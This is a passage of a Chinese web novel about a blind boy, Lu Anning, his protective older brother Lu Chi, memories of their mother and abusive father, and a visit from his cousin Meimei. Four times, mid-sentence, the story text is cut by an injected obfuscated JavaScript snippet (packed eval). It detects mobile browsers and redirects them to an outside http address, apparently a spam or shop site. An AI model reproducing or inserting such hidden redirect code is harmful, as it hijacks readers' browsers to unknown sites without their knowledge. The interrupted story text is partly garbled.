李姨和我说这事儿的时候,还特意告诉我别声张,别让路迟知道是她泄了密。一直到现在,我俩都还保守着这个秘密。 我的气瞬间就消了。 是啊,路迟没养过别人,甚至连只狗都没养过,他为我付出的东西都是他所拥有的最好的了。 我附低的身子,将脑袋靠到李姨的肩膀上,沉默良久才小声地说:“李姨,我有时候希望你是路迟的妈,你比我妈和我爸对他还要好。” 李姨有孩子,是个女孩,年纪比我大上十几岁,但我只见过那人一面,还是在六七年前的除夕夜,匆匆一眼后便没了下文,现在我也记不清那人的脸了。 那孩子在城里念书,跟在李姨哥哥身边,但我觉得她一走这么多年,之后甚至都没回来一次,肯定是个不孝顺的东西。 这话我不敢对李姨说,毕竟她才是亲身体会的那个,我都觉出味儿的事情,她不可能毫无察觉,她只是将多到有些打结的情绪全部藏了起来。 她比谁都坚强。 虽说我也没见过多少人,但我认定的东西就是真理,我跟路迟夸李姨的时候,还会强压着他的脑袋让他跟我一起点头。 李姨摸摸我的脑袋,没再说话,过了几分钟,我就听到了独属于短视频app的土味dj,李姨又开始进行网络主流鉴赏了。 我也没动,就这么靠着她的肩膀,等再有意识的时候,我一翻身就摸到的床沿。 路迟给我抱回房间了。 我拔高音量喊了声:“路迟!” 半晌没人回应,我用拳头捶了捶枕头,酝酿了几秒后又喊了声:“哥!” “哥在这儿呢。” 一双大手摸到了我的后背上,直接用力一揽将我拽到了床的另一侧。 我被这一下拽得有些懵。 “你也睡觉呢?”我皱着鼻子嗅了嗅,发现路迟身上没有精油味,只剩一股淡淡的清香。 他洗澡了。 意识到这一点,我干脆软塌塌地趴到路迟身上,有气无力地问:“我是不是又睡了好久。” “不久。”路迟说:“才七点钟,你现在起来刚好吃晚饭,吃完再接着睡。” “睡完吃,吃完睡,这样下去我真成你养的小笨猪了。”我无力吐槽道。 路迟笑了声,说:“笨猪卖得比一般小猪要贵,挺好。” 我瞬间炸毛了:“路迟,你有良心没啊,居然还要把我给卖了?” “贩卖人口犯法。”路迟随意地抓了抓我后颈处垂着的碎发,由于眼盲失去了一个重要感官,这导致我其他感官的灵敏度上调了许多——皮肤。我对任何触碰都格外敏感,路迟的手指穿过我的头发时,我甚至能清晰地感觉到他指腹微微蹭过我后颈的温度,那像是串令人胆颤的电流,心思酥酥麻麻,身体也不自觉紧绷。 就好像随后会到来的是某件让我极其恐惧的事情。我觉得这是因为路迟对我来说就像哺育幼猫的猫妈妈,所以每当他触碰到我的后颈时,我都会像被猫妈妈咬住后颈那层 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315038|198926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皮毛的幼猫,不知猫妈妈究竟会将我叼到何处。 也不知道多久到来的是猫妈妈温柔的舔舐,还是愠怒的低吼。 我抓住他乱动的手指,说:“要是不犯法你就要卖了我是不是。” 我必须要听见路迟亲口说他绝对不会抛下我才肯罢休。 “不是。”路迟抽出手指,用大拇指轻轻摁压我的眼皮,他应该是在观察我眼部的情况,说话的语气也变慢了些:“我把谁卖了都不会卖你。” “你离不开我是吧。”我压抑着内心难以言喻的激动,为路迟这轻飘飘一句话开始沾沾自喜。 瞧,我并非一无是处。 我还是有点儿本事的,至少路迟亲口承认了他离不开我不是吗,虽然路迟没明说,但意思也差不多,而且我也应该善解人意些,让他保留几分男人的自傲与自尊,对吧。 谁知。 路迟竟亲口说了:“是,我离不开你。” 他突然双臂用力,将我紧紧地搂在了怀里,勒得我有一瞬险些喘不过气,我连忙用手掌推他的胸膛,路迟这才稍稍松了些力道。 路迟叹息着说:“桉宝,你记不记得以前在对街开杂货铺的那家。” “记得。”我说。 路迟的手搂得又紧了些,仿佛生怕我因他下一句话的内容而生气,然后快速逃走。他说:“那家的小子你也记得吧,你想不想跟他再见见面…..哥送你去跟他当同学好不好?” 那家的小子也是个瞎子,但他是天生的,所以他打小就上残障人士的特殊学校,可在我们这种小地方,只有一个特殊学校,前些年还因为种种原因倒闭了。 我要是上特殊学校,只能去市中心,但从我们这儿到市中心只有一种渠道,就是拼车,三个半小时车程,一坐一个不吱声。 我思考了会儿,因为我不确定我对上学这件事儿是否憧憬,要是在我眼睛还好的时候,我能拍着胸脯保证我绝对不想去上学,如果明天是世界末日,我今天保准会发奋图强研究炸药,直接把学校给炸成平地。可现在,作为一个瞎子,如果连最基本的学历都没有,还有谁愿意给我上进的机会呢。 难道就像那些嘴碎的邻里所说的一般,等我长大懂事儿了,就跟路迟学学手艺,然后将自家店里的牌匾改成“盲人按摩”? 而且我现在时时刻刻待在路迟身边,对他来说只是个累赘。 我也不知道该怎么做好了。 我想一辈子都当路迟身上挂着的累赘,又怕他真因此怨恨我一辈子…..也不对,我好像也不是怕他怨恨我,那我到底在怕什么呢,我自己好像都不知道。 路迟叫我:“桉宝?” 我放缓了呼吸,应了声:“嗯。” 路迟又问:“你想吗,我不强迫你。” “…..我不知道。”我顿了顿,到底还是没忍住问:“路迟,我要是去了,多久能和你见一次面?” “舍不得我?”路迟似乎是笑了。 我脸皮薄不愿承认,就摇着脑袋说:“没,单纯怕你忘了我这个债主,你还得还我一辈子的债呢。” 5. 第 5 章 我有时候觉得我挺惨的,因为看不见别人的表情和眼神,大多数时候被骗了都没法发现,只能把这事从头到尾跟路迟说一遍,让他来判断我到底被没被骗,可这也意味着,一旦欺骗我的人变成了路迟,我一辈子都发现不了。 就像现在,路迟摸着我的头发,他说:“这辈子都忘不了。” 我辨别不出这句话究竟是不是谎言,所以我只能将它刻到脑袋里,时刻回想,反复印证,直到某年某天才能得到结论,当下却只能乖乖地点头,说:“路迟,你最好是一辈子都不忘记,不然我就算死也要拉你一起下地狱。” 路迟把脸压在我的脑袋上,我能感觉到他的呼吸正在吹动我的头发,头发挠着我的额头有些痒,我抬起手,不耐烦地猛挠了几下。 路迟怕我把额头皮肤抓坏了,伸手抓住我的手腕,制止我的动作,我不满地哼唧了声,嘟囔道:“路迟,你要是不想让我挠,就别把我弄得这么痒。” “我弄的?”路迟问。 “嗯。”我说:“你的呼吸。” 路迟开始笑,或许是吵架刚和好,他格外的温柔,这种难得的温柔就像是让人无法摆脱的沼泽地,我清楚地知道不好陷进去,可还是被林中深处的幻象迷惑了,情不自禁地向前迈步,甚至还像傻子似得张开双臂,试图抓住这短暂的温柔。 我的脚踏进去了,但迎来的并非预料之中的窒息与下陷,而是路迟的臂弯,他紧紧地抱着我,轻轻拍着我的后背说:“那是哥的错…..桉宝,以后你想过什么样的日子呢。” 路迟从来没问过我这种问题,因为太敏感了,我只是个什么都干不了的瞎子,能奢求什么未来呢,活下去都够艰难的了。 我将脸埋进他的胸口,脸蛋被他的胸肌硌得有些麻,我先吐槽了句:“路迟,你不要继续连肌肉了,别最后搞得像男妈妈一样,硌得我躺都躺不了多长时间,怕把脸硌疼了。” 停顿了下,我又小声咕哝道:“其实你现在这样,也跟妈妈没区别了,我不就是被你养育的小孩儿吗,只不过这小孩儿有些废。” 妈妈在我心中是个极特殊的词汇,因为我妈对我特别好,从小到大只要是我想要的,只要是我妈能做到的,她都会竭尽全力、以最快的速度送到我面前,然后拍拍我的小脑袋,弯腰撑膝笑着说:“桉宝,喜欢吗?” 喜欢,当然喜欢。我想要的东西特别多,但每当我妈把这些东西送到我面前的时候,我就会发现其实我喜欢的不是这些东西,我喜欢的是我妈看着我的眼神,那眼神在告诉我,我是被爱着的。 在家里,我爸是个赌.博嫖.娼的畜生,哪怕国家禁止这些,甚至大力打击,可他就像天生狗鼻子似得,总能嗅着腐烂的臭味找到能做这些事的地方,小到开在老小区里的小卖部、按摩店,大到洗浴中心的最顶层。 我特别恨他,他做这些东西根本不避讳,甚至是为虎作伥,连我的一些玩具他都要偷偷摸摸地攒起来,然后拿出去卖,在他眼里,只要是钱不管大小,他都要。 我以前还打电话给警察举报过他。 但后来我发现没有任何用,那些场所里的老板都花钱打点过关系,想要这些地方关门根本就是无稽之谈,他们甚至会专门抽出一部分收入去孝敬警官。 我有时候怀疑我和教材上的那些人生活在两个连交界都没有的世界里,老师站在讲台上举着教科书,有条不紊地教导着我们,为我们描述这个世界的公平公正与美好,可当我放下课本,抬头看一眼我的生活,我就发现书本中的内容完全像是编造出来的谎言。 它告诉我美好,却无法阻止我陷入深渊。 我爸是畜生,路迟不理我,只有我妈爱着我。 可我妈杀了人。 我再也见不到她了。 我妈杀的是个坏人,哪怕我根本没见过这个坏人,问路迟时,他也只是说“那人毁了很多人的生活”,我还是觉得,像我妈这样的人,她绝不会主动触犯法律,所以那人肯定是丧尽天良、坏到骨子里的。 我妈是为了自卫。 路迟顶替了我妈的位置,可他表达爱的方式和我妈完全不一样,所以我表达爱的方式也发生了改变。 面对我妈,我会飞奔过去抱住她,用脑袋蹭蹭她的胳膊,然后撅着嘴说:“我想你了妈。”等我妈笑着说我也想你了,我会特别用力地在她脸上亲一下。这是我表达爱的方式。 可面对路迟,我只会笨拙地反复试探,再默默地躺在他怀里,享受来之不易的温暖,待温暖消失,我们又会开始恶语相向。这也是我表达爱的方式。 其实有时候,我觉得这不算爱。 但只有爱一个人才会离不开他。 我离不开路迟,所以我爱他。 可我现在离开了我妈,难道我就不爱她了吗? 我搞不懂,我想让一个人来手把手教我,却羞于启齿。 现在,我试探着叫路迟“男妈妈”,其实是希望他能把自己摆到妈妈的位置上,希望他再温柔一点儿对待我。 我抱着路迟的胳膊收紧了些,因为脑袋里飞速涌过太多信息,我的心情一时有些乱糟糟的,像是因为想我妈了而忍不住想哭,又像是因为路迟正在温柔地对待我而感到开心。 我把脸埋得更深了,生怕路迟发现我的眼泪,直到我的眼泪浸湿路迟胸前的衣服,我还在心底祈祷着路迟能再神经大条一些。 “头发长了,吃完饭我给你剪头发吧。”路迟说。 太好了,路迟没发现。 我闷闷地“嗯”了一声。 路迟接着说:“那我现在去做饭。” 我却不想松开抱着他的手,当然,这绝对不是因为我舍不得他身上的温度与气味,单纯是因为我不想让他看见我的眼泪。 我是个坚强的男人,怎么能流眼泪呢。 “我不想动。”我等着路迟自己想办法把我弄下去。可腾空感瞬间袭来,我的头发都要炸起来,抱着路迟的力道也加重了几分。 “草,路迟,你干什么?”我大喊。 路迟单臂抱着我说: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315039|198926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “带你一起去做饭。” “我不要!”我已经顾不得路迟是否会看见我的眼泪了,当即说道:“我要在床上躺着,不要跟你一起去厨房,你炒菜的时候油烟味太大,呛得我脑袋疼。” “你以前躲在厨房借着油烟味偷偷抽烟的时候我可没见你嚷过味道大。”路迟直接拆穿我。 我确实干过这种蠢事。 路迟大我五岁,但他上学晚,我上学早,所以通常我上初一的时候他还在初三,刚好在一个学校里,他能照顾我一年。 这其实也是我妈考虑周到,特意安排的。 那时候我总是往高年级跑,去找路迟一起吃饭,后来我俩都上了高中,我就会经常在厕所里撞见偷偷吸烟的高三生。 没接触过的东西总是好的,那时我看着他们吞云吐雾,随意聊些时髦的话题,就开始憧憬自己上高三之后能达到如此境地,可我天生就不是个耐心的人,所以在撞见了十多次后,我就开始想,如果我以前学会了这些东西,是不是就能提前变成熟。 可事实证明,这只能让我多挨一次揍。 那是我妈揍我揍得最狠的一次,往常她打两下就舍不得继续打了,还会边抹眼泪边问我疼不疼,可那次,我妈把扫帚柄都打断了,把我屁股打得都肿成白面馒头了。 我怀疑路迟爱打屁股的毛病就是跟我妈学的。 那也是我妈最后一次打我。 我抱紧路迟的脖子,恶狠狠地咬住他的肩膀,口齿含糊地说:“路迟,你就会用话怼我,根本就不在乎我。” “我不在乎你?”路迟的脚步停了,他将我往上颠了颠,笑着问:“路桉宁,你告诉我怎么才算在乎?” 我当然不知道,学校里又没教。 我嘴硬地说:”至少应该我说往左你就不能往右,我说你干这个,你就不能做那个。” “你这不叫在乎。”路迟说:“叫殖民。” 他总是仗着比我多上两年学就往外甩牛逼哄哄的词,我瘪瘪嘴,说:”那你说什么是在乎?” 路迟似乎在盯着我看,我也不知道有什么好看的,我身上的衣服是他买的、他给我穿的,头发是他给我剪的,洗澡、洗脸我也是任他摆布,我身上有什么是他没看过的? 反倒他身上,我没看过的就多了。 我等着路迟回答我的问题。 但路迟走进厨房后就直接把我放到了椅子上,自顾自地开始洗菜备菜。我晃悠着小腿,不满地拉长尾音:“路迟——” 路迟的刀停了,他说:”干什么?” 我说:“你还没回答我的问题呢。” 路迟轻笑了声,说:“你就这么想知道?” “不是想知道。”我说:”我这是在考验你的知识储备量。” 又过了几秒。 路迟的声音轻飘飘的传来,他说:“桉宝,在乎不是说得出来的东西。” 有什么东西是说不出来的呢? 我觉得路迟保准是在故弄玄虚。 “切。” 6. 第 6 章 小的时候我总是不太喜欢和别人一起玩,一方面是因为我家里穷,大部分同学都是天生的势利眼,看我用的文具不是多功能最新款就不爱带着我一块玩了,用他们的话来说,他们是成功人士预备役,以后要紧跟父母脚步走上成功之路的,和我这种不入流的小人家不一样。 但在这个小县城里,大家都是钻不进大城市狗洞的杂交种,谁比谁高贵,说得好像谁上赶着挤进他们的小群体似的。 至于那些愿意跟我玩的人,就轮到我看不上他们了,我是个有着悲惨命运的可怜儿,回家就要被我爹盘问哪个同学家境好,让我赶紧处好关系的,他们受不来这种间谍生活,自然没资格跟我玩到一块儿去。 这也导致我从小到大都没什么朋友,要非说有,大概就只有我姑姑家的孩子,她比我小一岁却不爱叫我哥哥,难得到我家里待几天也是跟在我屁股后面边大声喊路桉宁,边让我带她出去见世面。 我都没见过什么世面,能带她见什么,每次被她磨得烦了,我就牵着她的手去后院找流浪狗,随便挑一只没怎么要过人的黄毛老狗,就指着狗对她说:“喏,就这个。” “这算什么世面。”她抱怨地嘟囔,又要伸手抓住我的袖口来回晃悠,这个不省心的玩意儿每次晃悠都要给我的衣袖扯得死长,导致最后我只能穿着左右袖不一边长的衣服到处晃悠,被街边的那些傻逼小孩指着叫“长臂猩猩和人类的杂交种”。 我还不能当着她这个小妹妹的面骂人,只能黑着脸耐着性子给她解释:“这可不是普通的狗,它会说人话。” 她半信半疑,我接着忽悠,“它现在没说人话是因为你还没得到它的认可,你努努力就能听见它夸你聪明了,这种通人性的神狗全世界只有这一只,你要是错过了的话以后可就再也见不到了。” 就这样,她彻底信了,开始蹲在老狗面前证明自己聪明,我也终于重获自由。 可随着年龄增长,学业任务繁重,我和她就很少见面了。在我瞎了之后,跟她更是连一面都没见过。 我听我妈说她考上了市里的重点高中,以后是要上清华北大的孩子。 但今天,我一睡醒就听见了道无比熟悉的声音。 “路桉宁。” 刚开始我还没反应过来,躺在床上呆愣愣地走神儿,甚至条件反射地想喊路迟过来,问问是不是他的哪位客人走错了。 可当她的手抓上我的袖子时,我就彻底反应过来了。 只有这小妞爱抓我袖子。 但是不对啊,我睡觉之前没穿衣服啊! 昨晚路迟给我洗完澡之后直接就给我抱到床上了,我困劲儿上来了死活不愿意穿衣服,路迟就这么抱着光溜溜的我,我俩直接睡过去了。 “卧槽路迟!”我还是喊了一句。 我另一只手伸到被褥下面开始摸索,摸到腿上的睡裤时我才松了口气,自动端起哥哥架子,扬起抹自认完美的微笑,勉强找了个她应该正在那儿站着的方位,问:“哟,这不是我那聪明绝顶的宝贝妹妹吗?” 我听见她哽咽了一声。 是哽咽吧? 这声音其实也有点儿像偷吃零食被噎住了,我觉得她也干得出这种事儿,连忙激动地扯回被她掐住的袖口,准备抓包:“美美你不乖啊,还偷吃呢。” 美美却没像以前一样义正严辞地跟我狡辩,她又伸手抓住了我的袖口,整整沉默了三秒钟才开口说:“路桉宁,我刚高考完,我之前不是故意不来看你的。” 这我当然知道。 我最疼爱的美美怎么可能故意不来看我呢,她要真是这种白眼狼,我当初也不会塞给她那么多我珍藏已久的零食大礼包。 可她这话说得太正经了,我还是有些不适应,憋了半天,我才脱口而出一句:“你说话咋这么像我妈以前的领导呢,成熟得很,考清华北大的人就是不一样。” 她抓着我的袖口,把我的手凑到她的脸上。 那一瞬间。 我意识到我脸上的笑容一定丑得像鬼一样,否则怎么会把那么爱大大咧咧地随地大小笑的美美给吓成这样,都哭了。 我僵硬地在她脸上抹了一把,干巴巴地说:“你现在更喜欢零食大礼包还是练习册,我找路迟要钱给你买,多少都行。” 想了想,我又补充了句:“但别买太多,路迟赚钱不容易,你等我自己赚钱的时候,你想买多少我就给你多少,哥疼你。” 这种时候,我才懂当哥哥的乐趣。 当妹妹流眼泪了,我就要想方设法把她给哄好,然后让她抓着我的袖子荡秋千,就算她想用我的袖子跳绳都没问题。 只要她别哭了。 美美又不说话了。 我看不见她表情,只能语气严肃地叫她:“李珍美,你是不是在外边受委屈了?你哥是街头小霸王你忘了?虽说你哥现在看不见了,成了个街头小瞎子,但你哥的功底还在,胡乱打两拳就能放倒一大片,实在不行还有路迟呢。” 美美坐到了床上,根据床面下陷的方位,我才判断出一件极其羞耻的事儿,我刚才演那么半天完美微笑,结果连方向都搞错了,美美站在另一侧呢。 不过这也不怪我,谁让她非要不走寻常路,拉我另一侧的袖子。 我理不直气也壮。 美美却说:“没有。” 她把脑袋搭到我的肩膀上,说:“路桉宁,你以前跟我说讨厌你爸,我还总故意跟你唱反调,就因为他给我买过气球,现在我也讨厌他了,都是他把你弄成…..” 她的话还没说完,路迟的声音就突然插进来:“到外面坐着吧,别在房间里,太闷了。” 我有些不满,美美多可爱一小姑娘,路迟以前就总对她冷脸,有次还差点儿把美美说哭,我觉得路迟就是故意的,他嫉妒美美有个美满的家庭,所以针对她。 虽然我也嫉妒过美美,但后来相处多了,我就只记得一件事了——她这样讨人喜欢的小女孩就该在美满家庭里长大。 我抓住美美的手腕,把她挡到自己身后,但因为眼睛看不见,对角度的判断也出现了偏差,我的脑袋直接撞到了她的脸上。 更尴尬了。 我结结巴巴地说:“美美,哥不是故意的。” 美美吸了记鼻子,说:“我知道。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315040|198926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她扶住我的小臂,牵引着我下床,然后拽着我慢慢地一步步往房间外走,她还在我耳边小声说:“路桉宁,我更想要零食大礼包。” 我立马咧开嘴笑,忙不迭地说:“哥一会儿带你去李姨那儿买。” 接着,我就语气豪横地对路迟说:“路迟,给我拿点儿钱,算我借的,我以后十倍还你。” 每次从路迟那儿拿钱我都是这么说。 这也导致我每次要花钱的时候,路迟都要问清楚我到底要干什么,然后亲自拿着钱带着我去干这件事儿。 说起来还挺不好意思的,我差不多有整整一年没碰过钱了,差点儿都要忘了人民币的手感是什么样了。 草,越想越怀念。 路迟这性格,以后结婚了肯定也是一毛不拔的铁公鸡,保准要被老婆拿鞭子狠狠抽打的。 我一屁股坐到小沙发上,在美美坐到我身边后干脆地抓住她的手保证:“哥从不吹牛逼,一会儿你看上什么直接买,不用顾虑价格,哥把你这几年的零食大礼包都补上。” “人家是女孩儿。”路迟又说话了,这次他的声音变得很近,我感觉他就站在我左边,我撇撇嘴说:“女孩儿不能吃零食大礼包了?” 但几秒后我就反应过来,连忙问了美美一句:“你现在没在减肥吧,要是减肥的话哥就给你买蔬菜大礼包。” 美美笑了。 她终于笑了。 我脑袋里紧绷的神经也终于放松了下来。 还好还好,没给美美吓出后遗症,她要是变成不爱笑的姑娘可就糟了。 我发现路迟这人特没眼力见儿,我刚给美美逗笑,他就开始端起大家长的架子,教育我说:“男女授受不亲,你不能随便拉她的手。” 我是她哥!”我不服气道:“我俩关系好你眼馋了?” 路迟不说话了。 我自己生了几秒钟的闷气,就抓着美美起身,说:“走,咱俩去买吃的,不管零食大礼包还是蔬菜大礼包哥都给你买,哥在外头还是有点儿实力的,不用钱也能给你搞到。” 当然,这不是靠偷和抢,单纯是靠赊账,记路迟的名字。 谁让他气我,花点儿钱也是他罪有应得。 我拉着美美往外走,其实即便不靠别人搀扶,在家里面走路我也很少撞到东西,就是走路速度慢些,要在脑袋里仔细回忆家里的布局,这种时候我就觉得路迟其实挺懂事儿的,他一个龟毛洁癖,每天都要给家里大扫除一遍,但每次都会把挪动的物件一丝不差地归到原位上。 他要是随便乱放,我怕是早就撞死、摔死不知道多少回了。 我把路迟抛之脑后,顺着上个话题问:“美美,我爹之前干啥蠢事儿了,你是不是想说他乱赌博才导致家里没钱给我治眼睛,其实没啥事儿,瞎了就瞎了,这就是我的命。” 美美抓着我的手加重了力道,指甲都要掐到我的肉里,我吃痛“嘶”了一声,美美忙松开手,说:“路桉宁,我妈跟我说是他用啤酒瓶…..” 路迟又出声了:“我跟你俩去。” 我“啧”了一声,嘟囔道:“真烦。” 7. 第 7 章 我知道美美现在依旧不太喜欢路迟,所以故意趴在她耳边小声说:“我俩躲到里面的货架后面,悄悄说话,他听不见。” 可这句话刚说完,我就感觉到一只到手从背后摁住了我的脑袋,路迟这货怎么有闲心跟踪我们两个小屁孩儿,他的客人不是还在等着呢吗。 路迟插到我俩中间,牵住我的手,我立马就叫出声:“路迟,你自己说的男女授受不亲,你不许离我们美美这么近。” “我只牵了你。”路迟说。 我蛮横不讲理道:“那也不行,你得退后再退后,离我们至少五步远。” 路迟嗤笑了声,说:“路桉宁你是不是欠打了,想让我买单又不让我离太近,当我是跟在你屁股后面的狗?” 可我还是感觉到,路迟他往后退了。 但当我再次伸手去拉美美时,她却直接抓住了我的小臂,说:“我扶着你往前走吧。” 路迟这人保准是恐吓了美美,草,我想骂路迟,又怕路迟仗着我看不见,接着用丑陋可怖的表情恐吓美美,我可不想美美这么个漂亮的小姑娘被吓到痛哭流涕。 毕竟路迟吓起人来还是挺厉害的。 我想抬脚往前走,就感觉路迟又抓住了我的后脖颈,我彻底火了,脱口而出一句:“路迟你有病啊?美美难得来一次你就这么没事儿找事儿?” 周围环境瞬间陷入死寂,这种寂静让我身上的鸡皮疙瘩不自觉地冒出了头,我恨这种反应,这是我对路迟怒火的恐惧,我害怕他怒极后连半分脸面都不给我留,当着美美的面就把我薅回去,然后反锁房门抽出皮带。 可我又蠢得控制不住自己的嘴巴。我的心跳正在加速,每次跳动像是都在牵引着我扑倒在路迟的脚边,我试图抵抗,却只聆听到了另一个自己的声音——你要失去你的导盲犬了。 在我控制不住要下跪的动作时,美美出声说:“哥,里面空间窄,架子边还锋利,容易把你碰坏,我自己进去拿吧,你在外面等我。” 我还没反应过来,美美就进去了。 憋了几秒,我软着语气问路迟:“你能不能别骂美美,路迟,她是我唯一的朋友了。” “朋友?唯一?”路迟重复了遍,接着说:“路桉宁,你眼睛瞎的时候她可没来看你,你走不了路的时候也一直是我牵着你慢慢前进,你现在在这儿跟我扯什么唯一的朋友?” 我闻到有烟草味从他的方位飘来,我始终不懂路迟为何如此迷恋尼古丁,我觉得这是我爹那个老烟鬼整天在家里抽大烟给他一点点熏出来的习惯,我试图改变路迟这个坏习惯,曾经甚至还大费周章地把他的烟全部藏起来,但后来我就不想这么干了。 路迟这辈子都没什么爱好,他总得需要一个东西来帮助他短暂脱离随时间悄悄露出棱角的痛苦。是的,我感受到了他的痛苦,当他在夜晚里抚摸着我的脊背,轻声问我为什么我的身体那样冷的时候。 其实是他冷,我身上沾着的是他的温度。 我往旁边退了步,想躲避开那股烟草味,可这一腿,我脚下不知踩到了什么东西,脚踝扭了一下,身体不受控制地往后仰,我咬紧牙关,不愿意叫路迟的名字,可路迟已经抱住了我。 还是令人羞耻的公主抱。 更要命的是我的胳膊已经易主,它不受我的控制,就像被肉骨头勾引过去的野狗,直接就粘到了路迟的身上。 宽厚的臂膀,熟悉的精油味,就在此刻我突然意识到,路迟的怀抱比那栋房子更像是我的家。 我被烫到了似的松开胳膊,叫嚷道:“你放我下去。” 路迟的手狠狠地拍了下我的屁股,说:“老实点儿,一会儿烟头烫到你了。” 我不知道旁边是否有其他人在看着,脸上的温度像烧红的烙铁。我结结巴巴地说:“路迟,我现在在当哥哥呢,哪有被人抱着的哥哥。” “怎么没有?”路迟回了句。 我说:“你就从来没被别人抱过。” “你抱过。”路迟说:“忘记了?” 我当即反驳道:“我顶多用胳膊搂住你,哪有这么抱过。” “有的。”路迟把我放到了地上,轻描淡写道:“你忘了而已。” 我立马追问:“什么时候?” “不记得就算了。”路迟不愿多说。 我觉得他这点也特烦人,扭头不愿意理他了。 路迟似乎看出我的小脾气,凑近问了句:“真想知道?” 我不说话了,等着他主动交代。 路迟却莫名笑出了声,之后他轻轻叹了口气,娓娓道来:“以前上小学的时候,我卡了个跟头,膝盖摔坏了,你非要抱着我回家,死活不让我走,你个头还小,根本抱不动我,最后我挂在你身上,一条腿拖在地上,你就这么把我‘抱’回了家,结果那条原本没摔坏的腿也被磨出了几道口子,你还哭了。” 他这么一说,我就想起来了:“草,你就忽悠我,那哪是你卡跟头了,分明是被别的小孩儿给推倒了,摔到了楼梯下面,最后还是我给你报的仇。” 我觉得路迟是被人欺负了,但路迟觉得人家单纯是个弱智脑残,没必要过多搭理,不然没完没了。但我怎么可能咽得下这口气,欺负路迟就是打我路家的脸,等同于在扇我巴掌,我怎么可能忍得下去,自然要找回场子,把那小孩儿也从楼梯上推下去了。 不过力道没掌握好,那小孩儿滚了两圈却完好无损,站起来后立马张牙舞爪地来找我寻仇,我和他直接打到一起去了。 结局就是我妈和他妈在办公室里齐聚。 但让我欣慰的是,从那之后路迟再被人欺负就会直接打回去,不过路迟犯错没有我妈给他开家长会,只能自己站在办公室里被对方家长指着鼻子骂。 我妈这种区别对待让我觉得我才是受宠的“太子”,但有时候我也觉得,路迟就跟不是我妈亲儿子一样,否则怎么能不受宠到这种地步。 路迟又笑,他似乎在含着烟,吐字有些含糊: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315041|198926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “瞧,你这不是记得吗。” 停顿了下,路迟又说:“那时候多好。” 我也不知道他在感叹什么,或许是年纪大了开始怀念从前了? 但哪有人怀念傻逼兮兮的小学时期的,不都是怀念意气风发的青年时吗,路迟现在就正处在人生最好的阶段。 但他这么一说,我就想起来自己曾经种种,难得有自知之明地感慨了句:“哥,我曾经真是趾高气昂。” “为什么是曾经?”路迟的声音轻飘飘的,他的手指也掐住了我的下巴,强迫我抬起头颅,我原本以为他是要好好看看我现在和以前有多少区别,但随着他的手一路下滑,开始扳直我的脊背,我就发现他正在操控着我、强迫我变得“趾高气昂”。 待我彻底站直后,路迟又说:“路桉宁,你现在也能趾高气昂,哥跪在地上,你站到哥的肩膀上,哥会托着你让你高过世界上所有人。” 他让我趾高气昂,还教会我什么叫有恃无恐。 我听着这话觉得有些不大得劲儿,就呲着牙说:“你跪着干什么,咱俩得一起趾高气昂,宁可欺负别人也不能让别人欺负。” 我没有“善良”这种优秀的品德,我知道的只有一件事儿,如果世界上必须有人要处在永远被欺辱、咒骂、审视的低等位置上,绝对不能是路迟。 他要真沦落至此,我怕是要日日做噩梦了。 路迟应该是犯精神病了,他又笑起来没完,我嘟囔道:“我不让你跪着你还嘲笑我,路迟你可真没良心。” 路迟说:“不是嘲笑。” 我刚要问那是什么,美美就出来了。 她往我怀里塞了一堆东西,我仔细摸了摸,发现她挑的东西里面没有零食大礼包,只有一堆大袋糖果,而是根据这熟悉的手感以及鼻息间甜腻腻的香味,我还能推断出这些都是我以前爱吃的那几样。 我顿时有些感动,说:“美美,想不到你还记得哥爱吃什么,是不是想跟我一起分享零食。” 美美过了两秒才说话,她语气略有些僵硬:“没有,路桉宁你想什么呢,我是想带回家吃的,我一会儿就坐车回去了。” “啊?”我有些惊讶:“这次这么快就走吗?往常不是会住一晚上再走吗?” 美美回答的速度有些慢:“…..我刚高考完,还有好多事情没处理完,我下次再来。” 